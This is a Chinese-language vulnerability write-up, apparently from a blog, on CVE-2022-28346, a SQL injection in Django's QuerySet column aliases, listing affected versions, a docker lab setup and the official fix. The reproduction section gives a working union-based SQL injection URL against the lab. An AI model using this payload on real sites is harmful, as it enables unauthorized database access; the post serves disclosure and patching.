当前位置:网站首页>CVE-2022-28346:Django SQL注入漏洞
CVE-2022-28346:Django SQL注入漏洞
2022-07-07 22:52:00 【yggcwhat】
0x01 简介
Django 是用 Python 开发的一个免费开源的 Web 框架,几乎囊括了 Web 应用的方方面面,可以用于快速搭建高性能、优雅的网站,Django 提供了许多网站后台开发经常用到的模块,使开发者能够专注于业务部分。
0x02 漏洞概述
漏洞编号:CVE-2022-28346
攻击者使用精心编制的字典, 通过**kwargs传递给QuerySet.annotate()、aggregate()和extra()这些方法,可导致这些方法在列别名中受到SQL注入攻击。
0x03 影响版本
4.0 <= Django < 4.0.4
3.2 <= Django < 3.2.13
2.2 <= Django < 2.2.28
0x04 环境搭建
docker pull s0cke3t/cve-2022-28346:latestdocker run -d -p 8080:8000 s0cke3t/cve-2022-28346
0x05 漏洞复现
通过报错页面可以发现存在哪些接口

访问接口如果存在传参,同样会提示报错信息

使用报错提示的参数进行sql注入
http://x.x.x.x:8000/demo?field=demo.name" FROM "demo_user" union SELECT "1",sqlite_version(),"3" --

0x06 修复方式
官方已发布安全版本,下载地址:
https://www.djangoproject.com/download/
边栏推荐
- Lecture 1: the entry node of the link in the linked list
- Leetcode brush questions
- 【愚公系列】2022年7月 Go教学课程 006-自动推导类型和输入输出
- 【GO记录】从零开始GO语言——用GO语言做一个示波器(一)GO语言基础
- 搭建ADG过程中复制报错 RMAN-03009 ORA-03113
- 哪个券商公司开户佣金低又安全,又靠谱
- 单机高并发模型设计
- Application practice | the efficiency of the data warehouse system has been comprehensively improved! Data warehouse construction based on Apache Doris in Tongcheng digital Department
- 华泰证券官方网站开户安全吗?
- Cascade-LSTM: A Tree-Structured Neural Classifier for Detecting Misinformation Cascades(KDD20)
猜你喜欢

Qt不同类之间建立信号槽,并传递参数

1293_ Implementation analysis of xtask resumeall() interface in FreeRTOS

3年经验,面试测试岗20K都拿不到了吗?这么坑?

某马旅游网站开发(对servlet的优化)

【obs】官方是配置USE_GPU_PRIORITY 效果为TRUE的

Where is the big data open source project, one-stop fully automated full life cycle operation and maintenance steward Chengying (background)?

腾讯安全发布《BOT管理白皮书》|解读BOT攻击,探索防护之道

【愚公系列】2022年7月 Go教学课程 006-自动推导类型和输入输出

第一讲:链表中环的入口结点

Is Zhou Hongyi, 52, still young?
随机推荐
德总理称乌不会获得“北约式”安全保障
Flask learning record 000: error summary
赞!idea 如何单窗口打开多个项目?
Cause analysis and solution of too laggy page of [test interview questions]
大数据开源项目,一站式全自动化全生命周期运维管家ChengYing(承影)走向何方?
韦东山第二期课程内容概要
爬虫实战(八):爬表情包
智慧监管入场,美团等互联网服务平台何去何从
What if the testing process is not perfect and the development is not active?
Reading notes 004: Wang Yangming's quotations
Single machine high concurrency model design
2022-07-07:原本数组中都是大于0、小于等于k的数字,是一个单调不减的数组, 其中可能有相等的数字,总体趋势是递增的。 但是其中有些位置的数被替换成了0,我们需要求出所有的把0替换的方案数量:
炒股开户怎么最方便,手机上开户安全吗
动态库基本原理和使用方法,-fPIC 选项的来龙去脉
如果在构造函数中抛出异常,最好的做法是防止内存泄漏?
攻防演练中沙盘推演的4个阶段
SQL knowledge summary 004: Postgres terminal command summary
The method of server defense against DDoS, Hangzhou advanced anti DDoS IP section 103.219.39 x
[OBS] the official configuration is use_ GPU_ Priority effect is true
Scrapy framework